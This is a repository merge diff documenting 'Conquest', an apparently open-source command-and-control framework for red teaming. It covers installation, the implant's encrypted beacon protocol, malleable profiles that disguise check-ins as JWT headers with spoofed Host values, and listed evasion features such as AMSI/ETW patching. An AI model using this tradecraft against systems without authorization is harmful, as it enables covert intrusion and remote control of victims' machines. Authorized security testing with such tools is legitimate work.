Merge pull request #2 from jakobfriedl/main

Merged main into dev.
This commit is contained in:
Jakob Friedl
2025-10-31 18:04:38 +01:00
committed by GitHub
122 changed files with 4176 additions and 1208 deletions

View File

@@ -1,11 +1,60 @@
# Conquest Framework
![Banner](assets/banner.png)
Compile with Nim:
```
nim c src/server/main.nim
```
**Conquest** is a feature-rich, extensible and malleable command & control/post-exploitation framework developed for penetration testing and adversary simulation. Conquest's team server, operator client and agent have all been developed from scratch using the Nim programming language and are designed with modularity and flexibility in mind. It features custom C2 communication via binary packets over HTTP, a client GUI developed using Dear ImGui and the `Monarch` agent, a modular C2 implant aimed at Windows targets.
From the `bin` directory, start the team server:
```
./server
```
![Conquest Client](assets/readme-1.png)
> [!CAUTION]
> Conquest is designed to be only used for educational purposes, research and authorized security testing of systems that you own or have an explicit permission to attack. The author provides no warranty and accepts no liability for misuse.
## Getting Started
The Conquest team server and operator client are currently meant to be compiled and used on a Ubuntu/Debian-based operating system. For getting the framework up and running, follow the [installation instructions](./docs/1-INSTALLATION.md).
For more information about architecture, usage and features, check out the [documentation](./docs/README.md)!
## Features
- Flexible operator GUI client developed using Dear ImGui
- HTTP listeners with support for callback hosts (Redirectors)
- Support for malleable C2 profiles (TOML)
- Customizable payload generation
- Encrypted C2 communication leveraging AES256-GCM and X25519 key exchange
- Sleep obfuscation via Ekko, Zilean or Foliage with support for call stack spoofing
- In-memory execution of COFF/BOF files
- In-memory execution of .NET assemblies
- Token impersonation
- AMSI/ETW patching using hardware breakpoints
- Compile-time string obfuscation
- Wide selection of built-in post-exploitation modules
- Looting and loot management (downloads & screenshots)
- Logging of all operator activity
- Self-destruct functionality
- Agent kill date & working hours
- Fully written in Nim
## Screenshots
![Payload generation](assets/readme-2.png)
![Screenshot Preview](assets/readme-3.png)
## Acknowledgements
The following projects and people have significantly inspired and/or helped with the development of this framework.
- Inspiration:
- [Havoc](https://github.com/havocFramework/havoc) by [C5pider](https://github.com/Cracked5pider)
- [Cobalt Strike](https://www.cobaltstrike.com)
- [AdaptixC2](https://github.com/Adaptix-Framework/AdaptixC2/)
- Development:
- [imguin](https://github.com/dinau/imguin) by [dinau](https://github.com/dinau/) (ImGui Wrapper for Nim)
- [MalDev Academy](https://maldevacademy.com/)
- [Creds](https://github.com/S3cur3Th1sSh1t/Creds) by [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/)
- [malware](https://github.com/m4ul3r/malware/) by [m4ul3r](https://github.com/m4ul3r/)
- [winim](https://github.com/khchen/winim)
- [OffensinveNim](https://github.com/byt3bl33d3r/OffensiveNim)
- Existing C2's written (partially) in Nim
- [NimPlant](https://github.com/chvancooten/NimPlant)
- [Nimhawk](https://github.com/hdbreaker/Nimhawk)
- [grc2](https://github.com/andreiverse/grc2)

BIN
assets/agent-1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 KiB

BIN
assets/agent-2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

BIN
assets/agent-3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

BIN
assets/agent-4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

BIN
assets/agent-5.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 104 KiB

BIN
assets/agent-6.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

BIN
assets/agent-7.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

BIN
assets/agent.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

BIN
assets/architecture-1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

BIN
assets/architecture-2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

BIN
assets/architecture-3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

BIN
assets/banner.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

BIN
assets/client-1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 107 KiB

BIN
assets/client-2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 116 KiB

BIN
assets/client-3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 340 KiB

BIN
assets/client-5.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

BIN
assets/client-7.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

BIN
assets/client-8.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 129 KiB

BIN
assets/client-9.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 MiB

BIN
assets/client.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 81 KiB

BIN
assets/install.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

BIN
assets/listener.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

BIN
assets/modules-1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

BIN
assets/modules-2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 197 KiB

BIN
assets/modules-3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

BIN
assets/modules-4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

BIN
assets/modules-5.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 135 KiB

BIN
assets/modules-6.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 314 KiB

BIN
assets/modules-7.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 152 KiB

BIN
assets/modules-8.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 227 KiB

BIN
assets/modules-9.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 229 KiB

BIN
assets/modules.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 84 KiB

BIN
assets/profile-1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 76 KiB

BIN
assets/profile-2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 112 KiB

BIN
assets/profile-3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

BIN
assets/readme-1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 736 KiB

BIN
assets/readme-2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 294 KiB

BIN
assets/readme-3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 MiB

View File

@@ -30,3 +30,5 @@ requires "zippy >= 0.10.16"
requires "mummy >= 0.4.6"
requires "whisky >= 0.1.3"
requires "native_dialogs >= 0.2.0"
requires "pixie >= 5.1.0"
requires "cligen >= 1.9.3"

View File

@@ -1,8 +1,6 @@
# Conquest default configuration file
name = "cq-default-profile"
# Important file paths and locations
private-key-file = "data/keys/conquest-server_x25519_private.key"
database-file = "data/conquest.db"
@@ -11,26 +9,23 @@ database-file = "data/conquest.db"
[team-server]
port = 37573
[server.users]
# General agent settings
[agent]
sleep = 5
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# [team-server.users]
# ----------------------------------------------------------
# HTTP GET
# ----------------------------------------------------------
# Defines URI endpoints for HTTP GET requests
[http-get]
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP GET requests
endpoints = [
"/get",
"/api/v1.2/status.js"
]
# Defines where the heartbeat is placed within the HTTP GET request
# Allows for data transformation using encoding (base64, base64url, ...), appending and prepending of strings
# Allows for data transformation using encoding (base64, ...), appending and prepending of strings
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body
# Encoding is only applied to the payload and not the prepended or appended strings
[http-get.agent.heartbeat]
@@ -52,7 +47,10 @@ suffix = ".######################################-####"
# Defines arbitrary URI parameters that are added to the request
[http-get.agent.parameters]
id = "#####-#####"
lang = "en-US"
lang = [
"en-US",
"de-AT"
]
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
[http-get.agent.headers]
@@ -83,6 +81,8 @@ placement = { type = "body" }
# HTTP POST
# ----------------------------------------------------------
[http-post]
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP POST requests
endpoints = [
"/post",

73
docs/1-INSTALLATION.md Normal file
View File

@@ -0,0 +1,73 @@
# Installation
## 1. Clone the Conquest repository
```
git clone https://github.com/jakobfriedl/conquest
cd conquest
```
## 2. Install Nim.
```bash
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
```
After it is installed, the Nim binaries need to be added to the PATH. This is done by adding the following line to the `.bashrc`/`.zshrc`/`.profile` configuration.
```
export PATH=/home/<user>/.nimble/bin:$PATH
```
## 3. Install dependencies
The Conquest binaries for team server and client are designed to be compiled and run on Ubuntu/Debian-based systems. The operator client requires the subsequent dependencies to be installed. To run the client on a Windows host, install the same dependencies in WSL.
```
sudo apt update
sudo apt install gcc g++ make git curl xz-utils
sudo apt install libglfw3-dev libgl1-mesa-dev libglu1-mesa-dev libx11-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev libgtk2.0-0
```
In some cases, the agent build process fails due to insufficient permissions. Execute the following command to make the build script executable.
```
chmod +x src/agent/build.sh
```
## 4. Compile Conquest binaries
The Conquest binaries are compiled using the `nimble` command, which installs and updates all Nim libraries and dependencies automatically.
```
nimble server
nimble client
```
Optionally, the required dependencies can be installed manually using the following command prior to the compilation.
```
nimble install -d
```
## 5. Start the Conquest team server with a C2 profile.
The default profile is located in [data/profile.toml](../data/profile.toml) and can be adapted by the operator.
```
bin/server -p data/profile
```
On the first start, the Conquest team server creates the Conquest database in the data directory, as well as the team server's private key in data/keys, which is used for the key exchange between team server, client and agent.
![Team server start](../assets/install.png)
## 6. Start the Conquest operator client
```
bin/client
```
By default, the Conquest client connects to localhost:37573 to connect to the team server. In order to connect to a remote team server, the address and port can be specified from the command-line using the `-i` and `-p` flags. The team server port can be configured in the malleable C2 profile used by the server.
```
bin/client -i <team-server-address> -p <team-server-port>
```

352
docs/2-ARCHITECTURE.md Normal file
View File

@@ -0,0 +1,352 @@
# Architecture <!-- omit from toc -->
## Contents <!-- omit from toc -->
- [Components](#components)
- [Team Server](#team-server)
- [Operator Client](#operator-client)
- [Agent (Monarch)](#agent-monarch)
- [Communication Protocol](#communication-protocol)
- [Registration](#registration)
- [Heartbeat](#heartbeat)
- [Task](#task)
- [Result](#result)
- [Cryptography](#cryptography)
- [Directory Structure](#directory-structure)
- [Logging](#logging)
- [Looting](#looting)
## Components
The Conquest command & control framework consist of three major components that interact with each other in different ways. Together, they enable penetration tester and red teamers to remotely control systems, transfer files and more. The diagram below shows Conquests's overall architecture.
![Architecture](../assets/architecture-1.png)
### Team Server
The Conquest team server is the core of the framework, as it's main responsibility is serving the HTTP listeners with which the C2 agents communicate and queuing the tasks that are issued by the operator client. The team server further manages data about agents, listeners and loot in the Conquest database and records all agent and operator activity in log files. The team server exposes a WebSocket interface on port 37573 by default, which is used by the operator client to connect to the team server. This port can be changed in the C2 profile in the `[team-server]` section.
```toml
[team-server]
port = 37573
```
Starting the team server with the default profile is done with the following command.
```
bin/server -p data/profile.toml
```
### Operator Client
The Conquest client is used by the operator to conduct the engagement. It is used for starting and stopping listeners, generating `Monarch` payloads and interacting with active agent sessions. The agent console is used to send commands to the agent and display the output. Currently, only one client can connect to the Conquest team server. By default, the client connects to localhost:37573, but the address and port can be specified in the command-line as shown below.
```
bin/client -i <team-server-ip> -p <team-server-port>
```
![Operator Client](../assets/architecture-2.png)
More information about the user interface can be found [here](./4-CLIENT.md)
### Agent (Monarch)
The agent/implant/payload/beacon in Conquest is called `Monarch`. It is exclusively built to target Windows systems and can be equipped with different modules or commands during the generation. An agent is compiled to connect to a specific listener and has it's configuration embedded during the generation process. When it connects back to the team server, it can be tasked to execute the commands that have been built into it. As most other C2 agents, the `Monarch` uses beaconing to check-in with the team server periodically to poll for new tasks or to post the results of completed tasks. This is done over HTTP using a custom binary communication protocol, which is explained in more detail in subsequent sections.
## Communication Protocol
Conquests C2 communication occurs over HTTP and uses 4 distinct types of packets:
- **Registration**: The first message that a new agent sends to the team server to register itself to it. Contains metadata to identify the agent and the system it is running on, such as the IP-address, hostname and current username.
- **Heartbeat**: Small check-in requests that tell the team server that the agent is still alive and waiting for tasks.
- **Task**: When an operator interacts with an agents and executes a command, a task packet is dispatched that contains the command to be executed and all arguments.
- **Result**: After an agent completes a task, it sends a packet containing the command output to the team server, which displays the result to the operator.
Each packet consists of a fixed-size header and a variable-length body, with the header containing important unencrypted metadata that helps the recipient process the rest of the packet. Among other fields, it contains the 4-byte hex-identifier of the agent, which tells the team server which agent is polling for tasks or posting results. The variable-length payload body is encrypted using AES-256 GCM using a asymmetrically shared session key and a randomly generated initialization vector (IV), which is included in the header for every message. The GCM mode of operation creates the 16-byte Galois Message Authentication Code (GMAC), which is used to verify that the message has not been tampered with. The cryptographic implementations are more thoroughly explained in the [Cryptography](#cryptography) section.
```
0 1 2 3 4
├───────────────┴───────────────┴───────────────┴───────────────┤
4 │ Magic Value │
├───────────────┬───────────────┬───────────────────────────────┤
8 │ Version │ Packet Type │ Packet Flags │
├───────────────┴───────────────┴───────────────────────────────┤
12 │ Payload Size │
├───────────────────────────────────────────────────────────────┤
16 │ Agent ID │
├───────────────────────────────────────────────────────────────┤
20 │ Sequence Number │
├───────────────────────────────────────────────────────────────┤
24 │ │
28 │ IV (12 bytes) │
32 │ │
├───────────────────────────────────────────────────────────────┤
36 │ │
40 │ GMAC Authentication Tag │
44 │ (16 bytes) │
48 │ │
└───────────────────────────────────────────────────────────────┘
[Header]
```
Here is the Nim type for the Header:
```nim
type Header* = object
magic*: uint32 # [4 bytes ] magic value
version*: uint8 # [1 byte ] protocol version
packetType*: uint8 # [1 byte ] message type
flags*: uint16 # [2 bytes ] message flags
size*: uint32 # [4 bytes ] size of the payload body
agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryption
seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption
iv*: Iv # [12 bytes] random IV for AES256 GCM encryption
gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption
```
### Registration
The **Registration** packet is the first packet that is sent from the agent to the team server. The `packetType` field in the header is set to `MSG_REGISTER`, which tells the team server to handle the request as a new connection. The `agentId` field in the header is set to a randomly generated 4-byte Hex-UUID, which is used to uniquely identify the agent all further communication. The packet body includes important metadata about the system the agent is executed on, such as username, domain and IP address. Furthermore, it also contains the agent's public key, which is used by the team server to derive the session key, with which the communication between them. Variable length data is handled using a TLV (type-length-value) approach. For instance, strings are prefixed with a 4-byte length indicator, instructing the unpacker how many bytes need to be read to retrieve the value.
```nim
type
AgentMetadata* = object
listenerId*: Uuid
username*: seq[byte]
hostname*: seq[byte]
domain*: seq[byte]
ip*: seq[byte]
os*: seq[byte]
process*: seq[byte]
pid*: uint32
isElevated*: uint8
sleep*: uint32
jitter*: uint32
modules*: uint32
Registration* = object
header*: Header
agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange
metadata*: AgentMetadata
```
### Heartbeat
The **Heartbeat** packet is comparable to a simple Check-in request. Between sleep delays, the agent sends this packet to the team server to poll for new tasks. It also serves as a way to tell if an agent is still alive and active, or has become unresponsive.
```nim
type Heartbeat* = object
header*: Header # [48 bytes ] fixed header
listenerId*: Uuid # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
```
### Task
When a new **Task** is dispatched and fetched by an agent, a packet with the structure outlined by the Nim code below is created. It contains the ID of the task, listener and command to be executed, as well as a list of arguments that have been passed to the command.
```nim
type
TaskArg* = object
argType*: uint8 # [1 byte ] argument type
data*: seq[byte] # variable length data (for variable data types (STRING, BINARY), the first 4 bytes indicate data length)
Task* = object
header*: Header
taskId*: Uuid # [4 bytes ] task id
listenerId*: Uuid # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id
argCount*: uint8 # [1 byte ] number of arguments
args*: seq[TaskArg] # variable length arguments
```
The number of arguments the agent needs to process is indicated by the argument count (argc) field. The first byte of an argument defines the arguments type, such as INT, STRING or BINARY. While some argument types have fixed sized (boolean = 1 byte, integers = 4 bytes, …), variable-length arguments, such as strings or binary data are further prefixed with a 4-byte data length field that tells the recipient how many bytes they have to read until the next argument is defined. The currently supported argument types, `STRING`, `INT`, `SHORT`, `LONG`, `BOOL` and `BINARY` determine how an argument is processed. For instance, `BINARY` indicates that file path is passed as an argument, which is then read into memory and sent over the network.
### Result
For each task that an agent executes, a result packet is sent to the team server. This packet is structured similarly to the task, with the difference being that it contains the task output instead of the arguments. The Status field indicates whether the task was completed successfully or if an error was encountered during the execution. The Type field informs the team server of the data type of the task output, with the options being `STRING`, `BINARY` or `NO_OUTPUT`. While string data would be displayed in the user interface to the operator, binary data is written directly to a file.
```
0 2 4 6 8
├───────────────┴───────────────┴───────────────┴───────────────┤
0 │ |
| Header (48 bytes) |
| |
├───────────────────────────────┬───────────────────────────────┤
48 │ Task ID │ Listener ID │
├───────────────────────────────┼───────────────┬────────┬──────┤
56 | Timestamp │ CMD │ Status │ Type │
├───────────────────────────────┼───────────────┴────────┴──────┤
64 │ Length │ │
├───────────────────────────────┘ │
│ │
│ Result Data │
?? │ │
└───────────────────────────────────────────────────────────────┘
[Result]
```
```nim
type TaskResult* = object
header*: Header
taskId*: Uuid # [4 bytes ] task id
listenerId*: Uuid # [4 bytes ] listener id
timestamp*: uint32 # [4 bytes ] unix timestamp
command*: uint16 # [2 bytes ] command id
status*: uint8 # [1 byte ] success flag
resultType*: uint8 # [1 byte ] result data type
length*: uint32 # [4 bytes ] result length
data*: seq[byte] # variable length result
```
## Cryptography
As mentioned before, the payload body of a network packet is serialized and encrypted. With symmetric ciphers like AES, the agent and team server have to agree on the same encryption key to process the data. However, the key exchange is far more difficult than just sending a randomly generated key over the network, as this would allow anyone to intercept and use it to decrypt and read the C2 traffic. The solution to this dilemma is public key cryptography. The server and all agents own a key pair, consisting of a private key that is kept secret and a public key which can be shared with everyone. The shared secret is computed using the X255192 key exchange, which is based on elliptic-curve cryptography. On a high level, it involves the following steps:
- Both parties generate a **32-byte private key**, from which they derive the corresponding public key.
- Both parties calculate a **shared secret** by using their own private key and the others public key.
- A 32-byte session key is derived from the shared secret, which is used to encrypt all C2 communication.
- Ephemeral keys, such as the agents private key and the shared secret are **wiped from memory** as soon as they are no longer needed to prevent them from being compromised.
The X25519 implementation used in Conquest is exposed by the [Monocypher](https://monocypher.org/) library. The shared secret is not suitable to be used as the encryption key, as it is not cryptographically random. To derive a session key, the secret is hashed using the Blake2B hashing algorithm along with some other information, such as the public keys and a message, to create a secure 32-byte key.
```nim
# Key derivation
proc combineKeys(publicKey, otherPublicKey: Key): Key =
# XOR is a commutative operation, that ensures that the order of the public keys does not matter
for i in 0..<32:
result[i] = publicKey[i] xor otherPublicKey[i]
proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
var key: Key
# Calculate shared secret (https://monocypher.org/manual/x25519)
var sharedSecret = keyExchange(keyPair.privateKey, publicKey)
# Add combined public keys to hash
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
let hashMessage: seq[byte] = "CONQUEST".toBytes() & @combinedKeys
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
let hash = blake2b(hashMessage, sharedSecret)
copyMem(key[0].addr, hash[0].addr, sizeof(Key))
# Cleanup
wipeKey(sharedSecret)
return key
```
When a `Monarch` is generated, it has the public key of the team server patched into it's binary. When the agent is executed, it generates its own key pair. Using the newly created private key and the servers public key, it subsequently derives the session key used for the packet encryption. At that point, the agent can wipe its own private key from memory, as it is no longer needed. For the server to be able to derive the same session key, the agent includes its public key in the registration packet, as mentioned before. When the server deserializes and parses the registration packet, it uses its own private key and the agents public key to derive the same session key and stores it in a database. Following this exchange, all communication between an agent and the server is encrypted using this session key as explained in the following section.
With the key exchange completed, what follows is the encryption of a network packets body using the AES-256 block cipher in the Galois/Counter Mode (GCM) mode of operation. GCM provides authenticated encryption with associated data (AEAD), ensuring that both confidentiality and integrity are guaranteed. This is achieved by combining the Counter Mode (CTR) for encryption and GHASH for authentication. In addition to encrypting the data, an authentication tag, also known as Galois Message Authentication Code (GMAC) is calculated based on the encrypted data and additional authenticated data (AAD). AAD is any unencrypted data, for which integrity and authenticity should be ensured, such as the sequence number that prevents packet replay attacks. If the ciphertext or sequence number of a packet are modified before it is received, the recipients recalculation of the 16-byte GMAC will not match the tag included in the packet header, allowing the server or agent to detect tampering and discard the packet.
```nim
import nimcrypto
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
# Encrypt data using AES-256 GCM
var encData = newSeq[byte](data.len)
var tag: AuthenticationTag
var ctx: GCM[aes256]
ctx.init(key, iv, sequenceNumber.toBytes())
ctx.encrypt(data, encData)
ctx.getTag(tag)
ctx.clear()
return (encData, tag)
proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
# Decrypt data using AES-256 GCM
var data = newSeq[byte](encData.len)
var tag: AuthenticationTag
var ctx: GCM[aes256]
ctx.init(key, iv, sequenceNumber.toBytes())
ctx.decrypt(encData, data)
ctx.getTag(tag)
ctx.clear()
return (data, tag)
```
## Directory Structure
On a high level, the directory structure of the Conquest framework looks as follows.
```
CONQUEST
├── bin/ : Compiled binaries
├── data/
│ ├── keys/ : Private key(s)
│ ├── logs/
│ │ ├── <AGENT-UUID>/ : Agent session logs
│ │ ├── teamserver.log : Team server log (connections, events)
│ └── loot/
│ ├── <AGENT-UUID>/ : Agent loot (screenshots, downloads)
│ ├── conquest.db : Team server database
│ └── profile.toml : Default profile
├── docs/ : Documentation
├── src/
│ ├── agent/ : Agent source code
│ ├── client/ : Operator client source code
│ ├── common/ : Cryptography, serialization, etc.
│ ├── modules/ : Agent modules
│ └── server/ : Team server source code
└── conquest.nimble : "Makefile"
```
### Logging
For each agent, there is a folder within the data/logs directory which includes the `session.log` file. This log file records all commands and command outputs that are executed in an agent session in the same way they are printed to the agent console.
```
[30-10-2025 15:16:21][>>>>] pwd
[30-10-2025 15:16:25][INFO] 99 bytes sent.
[30-10-2025 15:16:25][INFO] 127 bytes received.
[30-10-2025 15:16:25][DONE] Task BFBA9F7E completed.
[30-10-2025 15:16:25][INFO] Output:
C:\Users\alexander\Desktop
[30-10-2025 15:16:32][>>>>] shell whoami
[30-10-2025 15:16:34][INFO] 122 bytes sent.
[30-10-2025 15:16:34][INFO] 128 bytes received.
[30-10-2025 15:16:34][DONE] Task 8F00633E completed.
[30-10-2025 15:16:34][INFO] Output:
conquest\alexander
[30-10-2025 15:16:37][>>>>] ls
[30-10-2025 15:16:39][INFO] 94 bytes sent.
[30-10-2025 15:16:39][INFO] 275 bytes received.
[30-10-2025 15:16:39][DONE] Task 0A1F2B36 completed.
[30-10-2025 15:16:39][INFO] Output:
Directory: C:\Users\alexander\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs 29/10/2025 10:21:49 282 desktop.ini
-a--- 30/10/2025 07:15:35 1042944 monarch.x64.exe
2 file(s)
0 dir(s)
```
The `teamserver.log` records other events, that don't involve an interaction with an agent, such as the starting and stopping of listeners or new agent connections.
```
[03-10-2025 12:42:09][+] Connected to Conquest team server.
[03-10-2025 12:42:24][+] Started listener 536F8884 on 127.0.0.1:8080.
[03-10-2025 12:43:01][*] Agent 28A6CC6B connected to listener 536F8884.
```
### Looting
In Conquest, the term loot encompasses file downloads and screenshots retrieved from an agent. While metadata about these loot items is stored in the database, the actual files and images are also stored on disk on the team server in the data/loot directory.
![Loot](../assets/architecture-3.png)

168
docs/3-PROFILE.md Normal file
View File

@@ -0,0 +1,168 @@
# Malleable C2 Profiles <!-- omit from toc -->
## Contents <!-- omit from toc -->
- [General](#general)
- [Team server settings](#team-server-settings)
- [GET settings](#get-settings)
- [Data transformation](#data-transformation)
- [Request options](#request-options)
- [Response options](#response-options)
- [POST settings](#post-settings)
## General
Conquest supports malleable C2 profiles written using the TOML configuration language. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies.
General settings that are defined at the beginning of the profile are the profile name and the relative location of important files, such as the team server's private key or the Conquest database.
```toml
name = "cq-default-profile"
private-key-file = "data/keys/conquest-server_x25519_private.key"
database-file = "data/conquest.db"
```
## Team server settings
The team server settings currently only include the port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block.
```toml
[team-server]
port = 37573
```
## GET settings
The largest part of the malleable C2 profiles is taken up by the configuration of HTTP GET and POST requests. Starting with HTTP GET, it is possible to define the User-Agent that is used for GET requests, as well as the URI endpoints which are requested by the agent. Here, either a regular string or an array of string can be used. While the listener creates a route for each endpoint passed to this array, the agent randomly selects one of the endpoints for each GET request. Endpoints must not include `#` characters, as the randomization is done for each request separately.
```toml
[http-get]
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
endpoints = [
"/get",
"/api/v1.2/status.js"
]
```
### Data transformation
A huge advantage of Conquest's C2 profile is the customization of where the heartbeat, or check-in request is placed within the request. This is where data transformation options come into play. The following table shows all available options.
| Name | Type | Description |
| --- | --- | --- |
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `parameter`, `uri`, `body`|
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) |
| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. |
| prefix | STRING | String to prepend before the heartbeat payload. |
| suffix | STRING | String to append after the heartbeat payload. |
The order of operations is:
1. Encoding
2. Addition of prefix & suffix
3. Placement in the request
On the other hand, the server processes the requests in the following order:
1. Retrieval from the request
2. Removal of prefix & suffix
3. Decoding
> [!NOTE]
> Heartbeat placement is currently only implemented for `header` and `parameter`, as those are the most commonly used options.
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
```toml
[http-get.agent.heartbeat]
placement = { type = "header", name = "Authorization" }
encoding = { type = "base64", url-safe = true }
prefix = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
suffix = ".######################################-####"
```
![Heartbeat in Authorization Header](../assets/profile-1.png)
Check the [default profile](../data/profile.toml) for more examples.
### Request options
The profile language makes is further possible to add parameters and headers. When arrays are passed to these settings instead of strings, a random member of the array is chosen. Again, character randomization can be used to break up repeating patterns.
```toml
# Defines arbitrary URI parameters that are added to the request
[http-get.agent.parameters]
id = "#####-#####"
lang = [
"en-US",
"de-AT"
]
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
[http-get.agent.headers]
Host = [
"wikipedia.org",
"google.com",
"127.0.0.1"
]
Connection = "Keep-Alive"
Cache-Control = "no-cache"
```
![GET Traffic with C2 Profiles](../assets/profile-2.png)
### Response options
The C2 profile can also be used to change the team server's responses to GET requests that contain the task that are to be executed by the agent. Similar to the requests, headers can be set under the `[http-get.server.headers]` block and the previously mentioned data transformation options can be used in the `[http-get.server.output]` block. The only placement option that is supported for the response is `body`.
```toml
# Defines arbitrary headers that are added to the server's response
[http-get.server.headers]
Server = "nginx"
Content-Type = "application/octet-stream"
Connection = "Keep-Alive"
[http-get.server.output]
placement = { type = "body" }
```
## POST settings
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT.
```toml
[http-post]
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
# Defines URI endpoints for HTTP POST requests
endpoints = [
"/post",
"/api/v2/get.js"
]
# Post request can also be sent with the HTTP verb PUT instead
request-methods = [
"POST",
"PUT"
]
[http-post.agent.headers]
Host = [
"wikipedia.org",
"google.com",
"127.0.0.1"
]
Content-Type = "application/octet-stream"
Connection = "Keep-Alive"
Cache-Control = "no-cache"
[http-post.agent.output]
placement = { type = "body" }
[http-post.server.headers]
Server = "nginx"
[http-post.server.output]
placement = { type = "body" }
```
![POST request with task data](../assets/profile-3.png)

73
docs/4-CLIENT.md Normal file
View File

@@ -0,0 +1,73 @@
# Operator Client - User Interface <!-- omit from toc -->
## Contents <!-- omit from toc -->
- [General](#general)
- [Listeners](#listeners)
- [Sessions](#sessions)
- [Agent Console](#agent-console)
- [Downloads](#downloads)
- [Screenshots](#screenshots)
- [Eventlog](#eventlog)
## General
Conquest's operator client is developed using a wrapper for the **Dear ImGui** library in Nim. It communicates via WebSocket with the team server to instruct it to perform various actions, such as starting listeners, generating payloads or tasking agents to execute commands. At the same time, it receives data from the team server, such as new agents, command output or files and updates the user interface in real-time. Dear ImGui makes it easy to reorder windows and components for a customizable and flexible user experience.
## Listeners
The **Listeners** view shows a table with all currently active listeners and provides buttons for starting new listeners and for generating `Monarch` payloads. Right-clicking an active listeners opens a context menu that allows the user to stop the listener.
![Listeners View](../assets/client.png)
## Sessions
